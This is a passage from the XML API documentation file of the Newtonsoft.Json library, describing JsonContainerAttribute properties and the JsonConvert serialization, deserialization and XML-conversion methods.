object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.IsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve object references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep object reference; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve collection's items references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep collection's items object references; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the collection's items.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the collection's items.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConvert\">\n            <summary>\n            Provides methods for converting between .NET types and JSON types.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"SerializeObject\" title=\"Serializing and Deserializing JSON with JsonConvert\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\">\n            <summary>\n            Gets or sets a function that creates default <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            Default settings are automatically used by serialization methods on <see cref=\"T:Newtonsoft.Json.JsonConvert\"/>,\n            and <see cref=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\"/> and <see cref=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\"/> on <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            To serialize without using any default settings create a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> with\n            <see cref=\"M:Newtonsoft.Json.JsonSerializer.Create\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.True\">\n            <summary>\n            Represents JavaScript's boolean value <c>true</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.False\">\n            <summary>\n            Represents JavaScript's boolean value <c>false</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Null\">\n            <summary>\n            Represents JavaScript's <c>null</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Undefined\">\n            <summary>\n            Represents JavaScript's <c>undefined</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.PositiveInfinity\">\n            <summary>\n            Represents JavaScript's positive infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NegativeInfinity\">\n            <summary>\n            Represents JavaScript's negative infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NaN\">\n            <summary>\n            Represents JavaScript's <c>NaN</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime,Newtonsoft.Json.DateFormatHandling,Newtonsoft.Json.DateTimeZoneHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <param name=\"timeZoneHandling\">The time zone handling when the date is converted to a string.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTimeOffset)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTimeOffset\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTimeOffset,Newtonsoft.Json.DateFormatHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTimeOffset\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Boolean)\">\n            <summary>\n            Converts the <see cref=\"T:System.Boolean\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.Char\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Char\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Enum)\">\n            <summary>\n            Converts the <see cref=\"T:System.Enum\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Enum\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int32)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int16)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt16)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt32)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int64)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int64\"/>  to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt64)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt64\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Single)\">\n            <summary>\n            Converts the <see cref=\"T:System.Single\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Single\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Double)\">\n            <summary>\n            Converts the <see cref=\"T:System.Double\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Byte)\">\n            <summary>\n            Converts the <see cref=\"T:System.Byte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Byte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.SByte)\">\n            <summary>\n            Converts the <see cref=\"T:System.SByte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.SByte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Decimal)\">\n            <summary>\n            Converts the <see cref=\"T:System.Decimal\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Guid)\">\n            <summary>\n            Converts the <see cref=\"T:System.Guid\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Guid\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.TimeSpan)\">\n            <summary>\n            Converts the <see cref=\"T:System.TimeSpan\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.TimeSpan\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Uri)\">\n            <summary>\n            Converts the <see cref=\"T:System.Uri\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Uri\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char,Newtonsoft.Json.StringEscapeHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <param name=\"stringEscapeHandling\">The string escape handling.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Object)\">\n            <summary>\n            Converts the <see cref=\"T:System.Object\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Object\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object)\">\n            <summary>\n            Serializes the specified object to a JSON string.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String)\">\n            <summary>\n            Deserializes the JSON to a .NET object.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to a .NET object using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The object to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize to.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object)\">\n            <summary>\n            Populates the object with values from the JSON string.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Populates the object with values from the JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string using formatting.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode,Newtonsoft.Json.Formatting,System.Boolean)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string using formatting and omits the root object if <paramref name=\"omitRootObject\"/> is <c>true</c>.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"omitRootObject\">Omits writing the root object.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>\n            and writes a Json.NET array attribute for collections.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String,System.Boolean,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>,\n            writes a Json.NET array attribute for collections, and encodes special characters.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <param name=\"encodeSpecialCharacters\">\n            A value to indicate whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string.\n            </summary>\n            <param name=\"node\">The node to convert to JSON.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string using formatting.\n            </summary>\n            <param name=\"node\">The node to convert to JSON.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject,Newtonsoft.Json.Formatting,System.Boolean)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string using formatting and omits the root object if <paramref name=\"omitRootObject\"/> is <c>true</c>.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"omitRootObject\">Omits writing the root object.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>\n            and writes a Json.NET array attribute for collections.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String,System.Boolean,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>,\n            writes a Json.NET array attribute for collections, and encodes special characters.\n            </summary>\n            <param name=\"value\">The JSON 